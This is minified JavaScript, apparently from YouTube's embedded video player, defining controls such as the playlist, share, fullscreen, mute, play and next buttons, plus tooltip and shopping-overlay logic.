g.Y6.prototype.oU=function(){g.Q.prototype.oU.call(this);g.H$(this.element,"ytp-overflow-button-visible")};g.P(cz3,g.BF);g.q=cz3.prototype;g.q.Ix=function(x){x=Yi(x);g.ux(this.element,x)&&(g.ux(this.C,x)||g.ux(this.closeButton,x)||D0(this))};
g.q.nz=function(){g.BF.prototype.nz.call(this);this.U.On(this.element)};
g.q.show=function(){this.lN&&this.U.publish("OVERFLOW_PANEL_OPENED");g.BF.prototype.show.call(this);this.element.setAttribute("aria-modal","true");Us3(this,!0)};
g.q.hide=function(){g.BF.prototype.hide.call(this);this.element.removeAttribute("aria-modal");Us3(this,!1)};
g.q.onFullscreenToggled=function(x){!x&&this.rE()&&D0(this)};
g.q.isEmpty=function(){return this.actionButtons.length===0};
g.q.focus=function(){for(var x=g.S(this.actionButtons),T=x.next();!T.done;T=x.next())if(T=T.value,T.lN){T.focus();break}};g.P(bL3,g.Q);bL3.prototype.onClick=function(x){g.sz(x,this.api)&&this.api.playVideoAt(this.index)};g.P(rzH,g.BF);g.q=rzH.prototype;g.q.show=function(){g.BF.prototype.show.call(this);this.C.V(this.api,"videodatachange",this.e4);this.C.V(this.api,"onPlaylistUpdate",this.e4);this.e4()};
g.q.hide=function(){g.BF.prototype.hide.call(this);g.zx(this.C);this.updatePlaylist(null)};
g.q.e4=function(){this.updatePlaylist(this.api.getPlaylist());this.api.Y().j&&(this.Um("ytp-playlist-menu-title-name").removeAttribute("href"),this.j&&(this.f2(this.j),this.j=null))};
g.q.Ew=function(){var x=this.playlist,T=x.author,t=T?"by $AUTHOR \u2022 $CURRENT_POSITION/$PLAYLIST_LENGTH":"$CURRENT_POSITION/$PLAYLIST_LENGTH",u={CURRENT_POSITION:String(x.index+1),PLAYLIST_LENGTH:String(x.getLength())};T&&(u.AUTHOR=T);this.update({title:x.title,subtitle:g.MA(t,u),playlisturl:this.api.getVideoUrl(!0)});T=x.Z;if(T===this.K)this.selected.element.setAttribute("aria-checked","false"),this.selected=this.playlistData[x.index];else{t=g.S(this.playlistData);for(u=t.next();!u.done;u=t.next())u.value.dispose();
t=x.getLength();this.playlistData=[];for(u=0;u<t;u++){var H=new bL3(this.api,x,u);this.playlistData.push(H);H.yU(this.items)}this.selected=this.playlistData[x.index];this.K=T}this.selected&&this.selected.element.setAttribute("aria-checked","true")};
g.q.dzQ=function(x){var T=this.api.getVideoUrl(!0);g.uL(T,this.api,x)};
g.q.updatePlaylist=function(x){this.playlist!==x?(this.playlist&&this.playlist.unsubscribe("shuffle",this.Ew,this),this.playlist=x,this.K=null,x?(x.subscribe("shuffle",this.Ew,this),this.Ew()):this.lN&&this.hide()):this.playlist&&this.Ew()};
g.q.focus=function(){this.selected.focus()};
g.q.oU=function(){this.hide();g.BF.prototype.oU.call(this)};g.P(Ul,g.Q);Ul.prototype.hide=function(){g.Q.prototype.hide.call(this);this.JM(!1);this.api.Kd()};
Ul.prototype.Nj=function(){var x=g.zw(this.api.Y());g.Ic(this.element,"ytp-playlist-menu-button-tiny",this.api.bG().getPlayerSize().width<400&&!x);this.api.isEmbedsShortsMode()?this.hide():this.playlist&&this.api.getPresentingPlayerType()!==2?(this.update({text:g.MA("$CURRENT_POSITION/$PLAYLIST_LENGTH",{CURRENT_POSITION:String(this.playlist.index+1),PLAYLIST_LENGTH:String(this.playlist.getLength())}),title:g.MA("Playlist: $PLAYLIST_NAME",{PLAYLIST_NAME:this.playlist.title})}),this.lN||(this.show(),
this.api.Kd()),this.visible=!0,this.JM(!0)):this.lN&&this.hide()};
Ul.prototype.JM=function(x){g.Q.prototype.JM.call(this,x);this.api.logVisibility(this.element,this.visible&&x)};
Ul.prototype.C=function(){this.playlist&&this.playlist.unsubscribe("shuffle",this.Nj,this);(this.playlist=this.api.getPlaylist())&&this.playlist.subscribe("shuffle",this.Nj,this);this.Nj()};g.P(zRq,g.Q);g.q=zRq.prototype;g.q.Dy=function(){this.K?vC3(this):hRJ(this)};
g.q.QP=function(){this.K?(bi(this),this.N=!0):hRJ(this)};
g.q.GIU=function(){this.D=!0;this.LI(1);this.U.publish("promotooltipacceptbuttonclicked",this.acceptButton);bi(this);this.Z&&this.U.logClick(this.acceptButton)};
g.q.PiZ=function(){this.D=!0;this.LI(2);bi(this);this.Z&&this.U.logClick(this.dismissButton)};
g.q.Th=function(x){if(this.U.getPresentingPlayerType()===1||this.U.getPresentingPlayerType()===2&&this.J){var T=!0,t=g.Q9("ytp-ad-overlay-ad-info-dialog-container"),u=g.Q9("ytp-ad-player-overlay-layout"),H=Yi(x);if(this.j&&H&&g.ux(this.j,H))this.j=null;else{this.U.getPresentingPlayerType()===1&&H&&Array.from(H.classList).forEach(function(e){if(e.startsWith("ytp-ad")||e.startsWith("ytp-skip-ad"))T=!1});
var I=V4f(this.tooltipRenderer),E;if(((E=this.tooltipRenderer.dismissStrategy)==null?void 0:E.type)==="TOOLTIP_DISMISS_TYPE_TAP_ANYWHERE")I&&(T=T&&!g.ux(this.element,H));else{var Z;((Z=this.tooltipRenderer.dismissStrategy)==null?void 0:Z.type)==="TOOLTIP_DISMISS_TYPE_TAP_INTERNAL"&&(T=I?!1:T&&g.ux(this.element,H))}this.C&&this.lN&&!t&&!u&&(!H||T&&g.cu(x))&&(this.D=!0,bi(this))}}};
g.q.LI=function(x){var T=this.tooltipRenderer.promoConfig;if(T){switch(x){case 0:var t;if((t=T.impressionEndpoints)==null?0:t.length)var u=T.impressionEndpoints[0];break;case 1:u=T.acceptCommand;break;case 2:u=T.dismissCommand}var H;x=(H=g.N(u,THd))==null?void 0:H.feedbackToken;u&&x&&(H={feedbackTokens:[x]},x=this.U.qm(),(x==null?0:AcX(u,x.ML))&&Cl(x,u,H))}};
g.q.C2=function(){this.N||(this.C||(this.C=kBD(this)),vC3(this))};
var FRf={"ytp-settings-button":g.b9()};g.P(rG,g.Q);rG.prototype.onStateChange=function(x){this.vk(x.state)};
rG.prototype.vk=function(x){this.ou(g.p(x,2))};
rG.prototype.onClick=function(){this.U.getPlayerStateObject().isOrWillBePlaying();this.U.playVideo()};g.P(za,g.Q);za.prototype.onClick=function(x){this.api.logClick(this.element);var T=g.NY(this.api.Y().lf,{focusSearch:"true"}),t={};g.ET(this.api,"addEmbedsConversionTrackingParams",[t]);T=g.NY(T,t);var u;(t=(u=this.api.getVideoData().rH)==null?void 0:u.params)&&(T=g.NY(T,{bp:t}));g.aI(window,T);x.preventDefault()};
za.prototype.C=function(){if(this.api.B("embeds_web_enable_search_button")){var x=this.api.Y();var T=this.api.getVideoData(),t=this.api.bG().getPlayerSize().width;x=g.zw(x)&&t>=this.Z&&!x.j&&!T.isAd()&&!this.api.isEmbedsShortsMode()}else x=!1;this.visible=x;this.ou(this.visible);g.Ic(this.element,"ytp-search-button-visible",this.visible);g.Ic(this.element,"ytp-show-search-title",!this.api.zV());this.api.logVisibility(this.element,this.visible&&this.T)};
za.prototype.JM=function(x){g.Q.prototype.JM.call(this,x);this.api.logVisibility(this.element,this.visible&&x)};g.P(g.k6,g.Q);g.q=g.k6.prototype;g.q.P7=oV(8);g.q.onClick=function(){var x=this,T=this.api.Y(),t=this.api.getVideoData(this.api.getPresentingPlayerType()),u=this.api.getPlaylistId();T=this.api.B("enable_share_button_url_fix")?this.api.getVideoUrl(!0,!0,!0):T.getVideoUrl(t.videoId,u,void 0,!0);if(navigator.share)try{var H=navigator.share({title:t.title,url:T});H instanceof Promise&&H.catch(function(I){LRq(x,I)})}catch(I){I instanceof Error&&LRq(this,I)}else this.C.dG(),D0(this.j,this.element,!1);
this.api.logClick(this.element)};
g.q.Nj=function(){var x=this.api.Y(),T=this.api.isEmbedsShortsMode();g.Ic(this.element,"ytp-show-share-title",g.zw(x)&&!T);this.C.ew()&&T?(x=(this.api.bG().getPlayerSize().width-this.api.getVideoContentRect().width)/2,g.Zt(this.element,"right",x+"px")):T&&g.Zt(this.element,"right","0px");this.updateValue("icon",{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 20.20,14.19 0,-4.45 7.79,7.79 -7.79,7.79 0,-4.56 C 16.27,20.69 12.10,21.81 9.34,24.76 8.80,25.13 7.60,27.29 8.12,25.65 9.08,21.32 11.80,17.18 15.98,15.38 c 1.33,-0.60 2.76,-0.98 4.21,-1.19 z"}}]});
this.visible=GBi(this);g.Ic(this.element,"ytp-share-button-visible",this.visible);this.ou(this.visible);this.tooltip.Kd();this.api.logVisibility(this.element,GBi(this)&&this.T)};
g.q.JM=function(x){g.Q.prototype.JM.call(this,x);this.api.logVisibility(this.element,this.visible&&x)};
g.q.oU=function(){g.Q.prototype.oU.call(this);g.H$(this.element,"ytp-share-button-visible")};g.P(aVv,g.BF);g.q=aVv.prototype;g.q.hh=function(x){x=Yi(x);g.ux(this.D,x)||g.ux(this.closeButton,x)||D0(this)};
g.q.nz=function(){g.BF.prototype.nz.call(this);this.tooltip.On(this.element);this.api.logVisibility(this.C,!1);for(var x=g.S(this.j),T=x.next();!T.done;T=x.next())T=T.value,this.api.hasVe(T.element)&&this.api.logVisibility(T.element,!1)};
g.q.show=function(){var x=this.lN;g.BF.prototype.show.call(this);this.Nj();x||this.api.XW("onSharePanelOpened")};
g.q.LeY=function(){this.lN&&this.Nj()};
g.q.Nj=function(){var x=this;g.uY(this.element,"ytp-share-panel-loading");g.H$(this.element,"ytp-share-panel-fail");var T=this.api.getVideoData(),t=this.api.getPlaylistId()&&this.K.checked;T.getSharePanelCommand&&Cl(this.api.qm(),T.getSharePanelCommand,{includeListId:t}).then(function(u){x.T9()||(g.H$(x.element,"ytp-share-panel-loading"),BWJ(x,u))});
T=this.api.getVideoUrl(!0,!0,!1,!1);this.updateValue("link",T);this.updateValue("linkText",T);this.updateValue("shareLinkWithUrl",g.MA("Share link $URL",{URL:T}));Hw(this.C);this.api.logVisibility(this.C,!0)};
g.q.onFullscreenToggled=function(x){!x&&this.rE()&&D0(this)};
g.q.focus=function(){this.C.focus()};
g.q.oU=function(){g.BF.prototype.oU.call(this);gCf(this)};g.P(yzi,gk);g.q=yzi.prototype;g.q.oU=function(){ph4(this);gk.prototype.oU.call(this)};
g.q.jt=function(x){x.target!==this.dismissButton.element&&(this.vx(!1),this.U.XW("innertubeCommand",this.onClickCommand))};
g.q.e_=function(){this.mu=!0;this.vx(!0);this.Ka()};
g.q.kyY=function(x){this.N=x;this.Ka()};
g.q.onVideoDataChange=function(x,T){if(x=!!T.videoId&&this.videoId!==T.videoId)this.videoId=T.videoId,this.mu=!1,this.uG=!0,this.J=this.jY=!1,ph4(this),Q55(this,!1),this.Z=this.C=!1,hD(this),NWD(this);if(x||!T.videoId)this.ZZ=this.K=!1;var t,u;if(T==null?0:(t=T.getPlayerResponse())==null?0:(u=t.videoDetails)==null?0:u.isLiveContent)this.oH(!1);else{var H,I,E;T=g.N((H=T.getWatchNextResponse())==null?void 0:(I=H.playerOverlays)==null?void 0:(E=I.playerOverlayRenderer)==null?void 0:E.productsInVideoOverlayRenderer,
iAh);this.N=this.enabled=!1;if(T){if(H=T==null?void 0:T.featuredProductsEntityKey){I=g.TT.getState().entities;var Z;if((Z=i1(I,"featuredProductsEntity",H))==null?0:Z.productsData){this.oH(!1);return}}this.enabled=!0;if(!this.K){var e;Z=(e=T.badgeInteractionLogging)==null?void 0:e.trackingParams;(this.K=!!Z)&&this.U.setTrackingParams(this.badge.element,Z||null)}if(!this.ZZ){var l;if(this.ZZ=!((l=T.dismissButton)==null||!l.trackingParams)){var m;this.U.setTrackingParams(this.dismissButton.element,((m=
T.dismissButton)==null?void 0:m.trackingParams)||null)}}T.isContentForward&&(e=T.productsData,Q55(this,!0),NWD(this),e=CtJ(this,e),l=[],e.length>0&&l.push(e[0]),e.length>1&&(m=new g.Q({L:"div",G:"ytp-suggested-action-more-products-icon"}),g.y(this,m),l.push(m),l.push.apply(l,g.U(e.slice(1)))),this.D=new g.Q({L:"div",W:l,G:"ytp-suggested-action-content-forward-container"}),g.y(this,this.D),this.hQ.element.append(this.D.element));this.text=g.eb(T.text);var d;if(e=(d=T.dismissButton)==null?void 0:d.a11yLabel)this.AQ=
g.eb(e);this.onClickCommand=T.onClickCommand;this.timing=T.timing;this.oi()}N_D(this);az(this);this.Ka()}};
g.q.Cl=function(){return!this.N&&this.enabled&&!this.mu&&!this.U.zV()&&!this.hM&&(this.J||this.uG)};
g.q.Si=function(x){gk.prototype.Si.call(this,x);if(this.C||this.Z)this.timing&&FQ(this.timing.preview)&&(this.C=!1,hD(this),this.Z=!1,hD(this),this.U.Xa("shopping_overlay_preview_collapsed"),this.U.Xa("shopping_overlay_preview_expanded"),x=v7(this.timing.preview.startSec,this.timing.preview.endSec,"shopping_overlay_expanded"),FQ(this.timing.expanded)&&this.timing.preview.endSec===this.timing.expanded.startSec&&(this.U.Xa("shopping_overlay_expanded"),x.end=this.timing.expanded.endSec*1E3),this.U.oi([x])),
this.jY=!0,az(this);hD(this)};
g.q.oH=function(x){(this.J=x)?(nw(this),az(this,!1)):(ph4(this),this.nf.start());this.Ka()};
g.q.oi=function(x){var T=this.timing;x=(x===void 0?0:x)+this.U.getCurrentTime();var t=[],u=T.visible,H=T.preview;T=T.expanded;FQ(u)&&(WR3(u,x),t.push(v7(u.startSec,u.endSec,"shopping_overlay_visible")));FQ(H)&&(WR3(H,x),u=H.startSec+1,t.push(v7(H.startSec,u,"shopping_overlay_preview_collapsed")),t.push(v7(u,H.endSec,"shopping_overlay_preview_expanded")));FQ(T)&&(WR3(T,x),t.push(v7(T.startSec,T.endSec,"shopping_overlay_expanded")));this.U.oi(t)};g.P(whm,g.Q);
whm.prototype.Nj=function(){var x=this.api.Y();this.ou(g.zw(x)&&this.api.isEmbedsShortsMode());this.subscribeButton&&this.api.logVisibility(this.subscribeButton.element,this.lN);var T=this.api.getVideoData(),t=!1;this.api.getPresentingPlayerType()===2?t=!!T.videoId&&!!T.isListed&&!!T.author&&!!T.hM&&!!T.profilePicture:g.zw(x)&&(t=!!T.videoId&&!!T.hM&&!!T.profilePicture&&!g.Tt(T)&&!x.j&&!(x.J&&this.api.getPlayerSize().width<200));var u=T.profilePicture;x=g.zw(x)?T.expandedTitle:T.author;u=u===void 0?
"":u;x=x===void 0?"":x;t?(this.Z!==u&&(this.C.style.backgroundImage="url("+u+")",this.Z=u),this.updateValue("channelLogoLabel",g.MA("Photo image of $CHANNEL_NAME",{CHANNEL_NAME:x})),g.uY(this.api.getRootNode(),"ytp-title-enable-channel-logo")):g.H$(this.api.getRootNode(),"ytp-title-enable-channel-logo");this.api.logVisibility(this.C,t&&this.T);this.api.logVisibility(this.channelName,t&&this.T);this.subscribeButton&&(this.subscribeButton.channelId=T.dP);this.updateValue("expandedTitle",T.expandedTitle)};g.P(V8,g.BF);V8.prototype.show=function(){g.BF.prototype.show.call(this);this.C.start()};
V8.prototype.hide=function(){g.BF.prototype.hide.call(this);this.C.stop()};
V8.prototype.NC=function(x,T){x==="dataloaded"&&((this.nU=T.nU,this.mY=T.mY,isNaN(this.nU)||isNaN(this.mY))?this.j&&(this.U.Xa("intro"),this.U.removeEventListener(g.$m("intro"),this.N),this.U.removeEventListener(g.Hv("intro"),this.D),this.U.removeEventListener("onShowControls",this.K),this.hide(),this.j=!1):(this.U.addEventListener(g.$m("intro"),this.N),this.U.addEventListener(g.Hv("intro"),this.D),this.U.addEventListener("onShowControls",this.K),x=new g.te(this.nU,this.mY,{priority:9,namespace:"intro"}),
this.U.oi([x]),this.j=!0))};g.P(Ga,g.Q);Ga.prototype.onClick=function(){this.U.DS()};
Ga.prototype.Nj=function(){var x=!0;g.zw(this.U.Y())&&(x=x&&this.U.bG().getPlayerSize().width>=480);this.ou(x);this.updateValue("icon",this.U.D$()?{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,X:{d:"M11,13 L25,13 L25,21 L11,21 L11,13 Z M12,28 L24,28 L18,22 L12,28 Z M27,9 L9,9 C7.9,9 7,9.9 7,11 L7,23 C7,24.1 7.9,25 9,25 L13,25 L13,23 L9,23 L9,11 L27,11 L27,23 L23,23 L23,25 L27,25 C28.1,25 29,24.1 29,23 L29,11 C29,9.9 28.1,9 27,9 L27,9 Z",fill:"#fff"}}]}:
{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M12,28 L24,28 L18,22 L12,28 Z M27,9 L9,9 C7.9,9 7,9.9 7,11 L7,23 C7,24.1 7.9,25 9,25 L13,25 L13,23 L9,23 L9,11 L27,11 L27,23 L23,23 L23,25 L27,25 C28.1,25 29,24.1 29,23 L29,11 C29,9.9 28.1,9 27,9 L27,9 Z"}}]})};g.P(Xh3,g.Q);Xh3.prototype.oU=function(){this.C=null;g.Q.prototype.oU.call(this)};g.P(LN,g.Q);LN.prototype.onClick=function(){this.U.XW("innertubeCommand",this.Z)};
LN.prototype.S=function(x){x!==this.D&&(this.update({title:x,ariaLabel:x}),this.D=x);x?this.show():this.hide()};
LN.prototype.J=function(){this.C.disabled=this.Z==null;g.Ic(this.C,"ytp-chapter-container-disabled",this.C.disabled);this.Bk()};g.P(nN,LN);nN.prototype.onClickCommand=function(x){g.N(x,x7)&&this.Bk()};
nN.prototype.updateVideoData=function(x,T){var t,u,H;x=g.N((t=T.getWatchNextResponse())==null?void 0:(u=t.playerOverlays)==null?void 0:(H=u.playerOverlayRenderer)==null?void 0:H.decoratedPlayerBarRenderer,UP);t=g.N(x==null?void 0:x.playerBarActionButton,g.nx);this.U.B("web_player_updated_entrypoint")&&(this.N=PZ(t==null?void 0:t.text));this.Z=t==null?void 0:t.command;LN.prototype.J.call(this)};
nN.prototype.Bk=function(){var x=this.U.B("web_player_updated_entrypoint")?this.N:"",T=this.K.C,t,u=((t=this.U.getLoopRange())==null?void 0:t.type)==="clips";if(T.length>1&&!u){x=this.U.getProgressState().current*1E3;t=AD(T,x);x=T[t].title||"Chapters";if(t!==this.currentIndex||this.j)this.U.XW("innertubeCommand",T[t].onActiveCommand),this.currentIndex=t;this.j=!1}else this.j=!0;LN.prototype.S.call(this,x)};g.P(aK,g.Q);aK.prototype.D=function(x){g.p(x.state,32)?TMV(this,this.api.ul()):this.lN&&(g.p(x.state,16)||g.p(x.state,1))||this.C.hide()};
aK.prototype.Yg=function(){var x=this.api.getPlayerStateObject();(g.p(x,32)||g.p(x,16))&&o0f(this)};
aK.prototype.N=function(){this.j=NaN;o0f(this)};
aK.prototype.hide=function(){this.Z&&TMV(this,null);g.Q.prototype.hide.call(this)};g.P(tuC,g.Q);g.q=tuC.prototype;g.q.onClick=function(){var x=this;if(this.U.Y().hM||this.U.Y().J){this.U.logClick(this.element);try{this.U.toggleFullscreen().catch(function(T){x.LO(T)})}catch(T){this.LO(T)}}else D0(this.message,this.element,!0)};
g.q.LO=function(x){String(x).includes("fullscreen error")?g.Vh(x):g.vW(x);this.B2()};
g.q.B2=function(){this.disable();this.message.tq(this.element,!0)};
g.q.UR=function(){dx()===this.U.getRootNode()?this.j.start():(this.j.stop(),this.message&&this.message.hide())};
g.q.qM=function(){if(window.screen&&window.outerWidth&&window.outerHeight){var x=window.screen.width*.9,T=window.screen.height*.9,t=Math.max(window.outerWidth,window.innerWidth),u=Math.max(window.outerHeight,window.innerHeight);if(t>u!==x>T){var H=t;t=u;u=H}x>t&&T>u&&this.B2()}};
g.q.disable=function(){var x=this;if(!this.message){var T=(e$(["requestFullscreen","webkitRequestFullscreen","mozRequestFullScreen","msRequestFullscreen"],document.body)!=null?"Full screen is unavailable. $BEGIN_LINKLearn More$END_LINK":"Your browser doesn't support full screen. $BEGIN_LINKLearn More$END_LINK").split(/\$(BEGIN|END)_LINK/);this.message=new g.BF(this.U,{L:"div",DZ:["ytp-popup","ytp-generic-popup"],X:{role:"alert",tabindex:"0"},W:[T[0],{L:"a",X:{href:"https://support.google.com/youtube/answer/6276924",
target:this.U.Y().S},z9:T[2]},T[4]]},100,!0);this.message.hide();g.y(this,this.message);this.message.subscribe("show",function(t){x.Z.Pb(x.message,t)});
g.V$(this.U,this.message.element,4);this.element.setAttribute("aria-disabled","true");this.element.setAttribute("aria-haspopup","true");(0,this.C)();this.C=null}};
g.q.Nj=function(){var x=x8J(this.U),T=this.U.Y().J&&this.U.getPlayerSize().width<250;this.ou(x&&!T);var t;((t=this.U.Y())==null?0:t.B("embeds_use_parent_visibility_in_ve_logging"))?this.U.logVisibility(this.element,this.lN&&this.T):this.U.logVisibility(this.element,this.lN)};
g.q.bM=function(x){if(x){var T={L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"g",G:"ytp-fullscreen-button-corner-2",W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 14,14 -4,0 0,2 6,0 0,-6 -2,0 0,4 0,0 z"}}]},{L:"g",G:"ytp-fullscreen-button-corner-3",W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 22,14 0,-4 -2,0 0,6 6,0 0,-2 -4,0 0,0 z"}}]},{L:"g",G:"ytp-fullscreen-button-corner-0",W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 20,26 2,0 0,-4 4,0 0,-2 -6,0 0,6 0,0 z"}}]},{L:"g",
G:"ytp-fullscreen-button-corner-1",W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 10,22 4,0 0,4 2,0 0,-6 -6,0 0,2 0,0 z"}}]}]};x=g.Yh(this.U,"Exit full screen","f");this.update({"data-title-no-tooltip":"Exit full screen"});document.activeElement===this.element&&this.U.getRootNode().focus();document.pictureInPictureElement&&document.exitPictureInPicture().catch(function(t){g.Vh(t)})}else T={L:"svg",
X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"g",G:"ytp-fullscreen-button-corner-0",W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 10,16 2,0 0,-4 4,0 0,-2 L 10,10 l 0,6 0,0 z"}}]},{L:"g",G:"ytp-fullscreen-button-corner-1",W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 20,10 0,2 4,0 0,4 2,0 L 26,10 l -6,0 0,0 z"}}]},{L:"g",G:"ytp-fullscreen-button-corner-2",W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 24,24 -4,0 0,2 L 26,26 l 0,-6 -2,0 0,4 0,0 z"}}]},{L:"g",G:"ytp-fullscreen-button-corner-3",
W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M 12,20 10,20 10,26 l 6,0 0,-2 -4,0 0,-4 0,0 z"}}]}]},x=g.Yh(this.U,"Full screen","f"),this.update({"data-title-no-tooltip":"Full screen"});x=this.message?null:x;this.update({title:x,icon:T});this.Z.lD().Kd()};
g.q.oU=function(){this.message||((0,this.C)(),this.C=null);g.Q.prototype.oU.call(this)};
g.q.JM=function(x){g.Q.prototype.JM.call(this,x);var T;((T=this.U.Y())==null?0:T.B("embeds_use_parent_visibility_in_ve_logging"))&&this.U.logVisibility(this.element,this.lN&&x)};g.P(gG,g.Q);gG.prototype.onClick=function(){this.U.logClick(this.element);this.U.seekBy(this.C,!0);var x=this.C>0?1:-1,T=Math.abs(this.C),t=this.U.gV().t9;t&&ek(t,x,T);this.Z.isActive()?this.j=!0:(x=["ytp-jump-spin"],this.C<0&&x.push("backwards"),this.element.classList.add.apply(this.element.classList,g.U(x)),g.Kt(this.Z))};g.P(B7,LN);B7.prototype.onClickCommand=function(x){g.N(x,$vd)&&this.Bk()};
B7.prototype.updateVideoData=function(){var x,T;this.Z=(x=uxV(this))==null?void 0:(T=x.onTap)==null?void 0:T.innertubeCommand;LN.prototype.J.call(this)};
B7.prototype.Bk=function(){var x="",T=this.K.N,t,u=(t=uxV(this))==null?void 0:t.headerTitle;t=u?g.eb(u):"";var H;u=((H=this.U.getLoopRange())==null?void 0:H.type)==="clips";T.length>1&&!u&&(x=this.U.getProgressState().current*1E3,H=lVH(T,x),x=H!=null?T[H].title:t,H!=null&&H!==this.currentIndex&&(this.U.XW("innertubeCommand",T[H].onActiveCommand),this.currentIndex=H));LN.prototype.S.call(this,x)};g.P(W7,g.Q);W7.prototype.onClick=function(){this.U.XW("onCollapseMiniplayer");this.U.logClick(this.element)};
W7.prototype.Nj=function(){this.visible=!this.U.isFullscreen();this.ou(this.visible);this.U.logVisibility(this.element,this.visible&&this.T)};
W7.prototype.JM=function(x){g.Q.prototype.JM.call(this,x);this.U.logVisibility(this.element,this.visible&&x)};g.P(Dg,g.Q);g.q=Dg.prototype;g.q.vF=function(x){this.visible=x.width>=300||this.Om;this.ou(this.visible);this.U.logVisibility(this.element,this.visible&&this.T)};
g.q.Jqv=function(){this.U.Y().nf?this.U.isMuted()?this.U.unMute():this.U.mute():D0(this.message,this.element,!0);this.U.logClick(this.element)};
g.q.onVolumeChange=function(x){this.setVolume(x.volume,x.muted)};
g.q.setVolume=function(x,T){var t=this,u=T?0:x/100,H=this.U.Y();x=u===0?1:x>50?1:0;if(this.D!==x){var I=this.jY;isNaN(I)?ip5(this,x):zVf(this.Hv,function(Z){ip5(t,I+(t.D-I)*Z)},250);
this.D=x}u=u===0?1:0;if(this.K!==u){var E=this.S;isNaN(E)?IBf(this,u):zVf(this.ZZ,function(Z){IBf(t,E+(t.K-E)*Z)},250);
this.K=u}H.nf&&(H=g.Yh(this.U,"Mute","m"),u=g.Yh(this.U,"Unmute","m"),this.updateValue("title",T?u:H),this.update({"data-title-no-tooltip":T?"Unmute":"Mute"}),this.tooltip.Kd())};
g.q.JM=function(x){g.Q.prototype.JM.call(this,x);this.U.logVisibility(this.element,this.visible&&x)};
var $P5=["M",19,",",11.29," C",21.89,",",12.15," ",24,",",14.83," ",24,",",18," C",24,",",21.17," ",21.89,",",23.85," ",19,",",24.71," L",19,",",24.77," C",21.89,",",23.85," ",24,",",21.17," ",24,",",18," C",24,",",14.83," ",21.89,",",12.15," ",19,",",11.29," L",19,",",11.29," Z"],Hpf=["M",19,",",11.29," C",21.89,",",12.15," ",24,",",14.83," ",24,",",18," C",24,",",21.17," ",21.89,",",23.85," ",19,",",24.71," L",19,",",26.77," C",23.01,",",25.86," ",26,",",22.28," ",26,",",18," C",26,",",13.72," ",
23.01,",",10.14," ",19,",",9.23," L",19,",",11.29," Z"];g.P(g.y8,g.Q);g.q=g.y8.prototype;g.q.onStateChange=function(x){this.vk(x.state);var T;((T=this.U.Y())==null?0:T.B("embeds_use_parent_visibility_in_ve_logging"))&&this.U.logVisibility(this.element,this.lN&&this.T)};
g.q.vk=function(x){var T=g.rb(this.U.getVideoData()),t=!1;x.isOrWillBePlaying()?x=T?4:2:g.p(x,2)?(x=3,t=T):x=1;this.element.disabled=t;if(this.C!==x){T=null;switch(x){case 2:T=g.Yh(this.U,"Pause","k");this.update({"data-title-no-tooltip":"Pause"});break;case 3:T="Replay";this.update({"data-title-no-tooltip":"Replay"});break;case 1:T=g.Yh(this.U,"Play","k");this.update({"data-title-no-tooltip":"Play"});break;case 4:T="Stop live playback",this.update({"data-title-no-tooltip":"Stop live playback"})}x===
3?this.update({title:T,icon:E0D(x)}):(this.update({title:T}),(T=E0D(x))&&this.C&&this.C!==3?FZC(this.transition,this.element,T):this.updateValue("icon",T));this.tooltip.Kd();this.C=x}};
g.q.onVideoDataChange=function(){g.Ic(this.element,"ytp-play-button-playlist",g.kh(this.U))};
g.q.Q3=function(x){this.U.logClick(this.element);if(this.U.getPlayerStateObject().isOrWillBePlaying())this.U.pauseVideo();else{if(this.U.isMinimized()&&this.U.getPlayerStateObject().isCued()){var T={},t;if((t=this.U.getVideoData())==null?0:t.D)T.cttAuthInfo={token:this.U.getVideoData().D,videoId:this.U.getVideoData().videoId};BM("direct_playback",T);this.U.Vs().timerName="direct_playback"}else this.C!==3||this.U.Y().B("html5_no_csi_on_replay")||c8(this.U.Vs());this.U.playVideo()}this.U.isMinimized()&&
(x==null?void 0:x.type)==="click"&&this.element.blur()};
g.q.JM=function(x){g.Q.prototype.JM.call(this,x);var T;((T=this.U.Y())==null?0:T.B("embeds_use_parent_visibility_in_ve_logging"))&&this.U.logVisibility(this.element,this.lN&&x)};g.P(g.Nm,g.Q);g.q=g.Nm.prototype;g.q.onVideoDataChange=function(){Zp4(this);this.K&&(this.f2(this.K),this.K=null);this.videoData=this.U.getVideoData(1);if(this.playlist=this.U.getPlaylist())this.playlist.subscribe("shuffle",this.onVideoDataChange,this),this.K=this.V(this.U,"progresssync",this.rS);this.j=jW3(this);q_q(this);this.WX(this.U.bG().getPlayerSize())};
g.q.WX=function(x){x=x===void 0?this.U.bG().getPlayerSize():x;var T,t=((T=this.U.getLoopRange())==null?void 0:T.type)==="clips";x=(g.kh(this.U)||this.C&&g.Gt(this.U)&&!this.U.B("web_hide_next_button")||e35(this))&&!t&&(this.C||x.width>=400);this.ou(x);this.U.logVisibility(this.element,x)};
g.q.onClick=function(x){this.U.logClick(this.element);var T=!0;this.N?T=g.sz(x,this.U):x.preventDefault();T&&(this.C&&this.U.getPresentingPlayerType()===5?this.U.publish("ytoprerollinternstitialnext"):this.C?(c8(this.U.Vs()),this.U.publish("playlistnextbuttonclicked",this.element),this.U.nextVideo(!0)):this.j?this.U.seekTo(0):(c8(this.U.Vs()),this.U.publish("playlistprevbuttonclicked",this.element),this.U.previousVideo(!0)))};
g.q.rS=function(){var x=jW3(this);x!==this.j&&(this.j=x,q_q(this))};
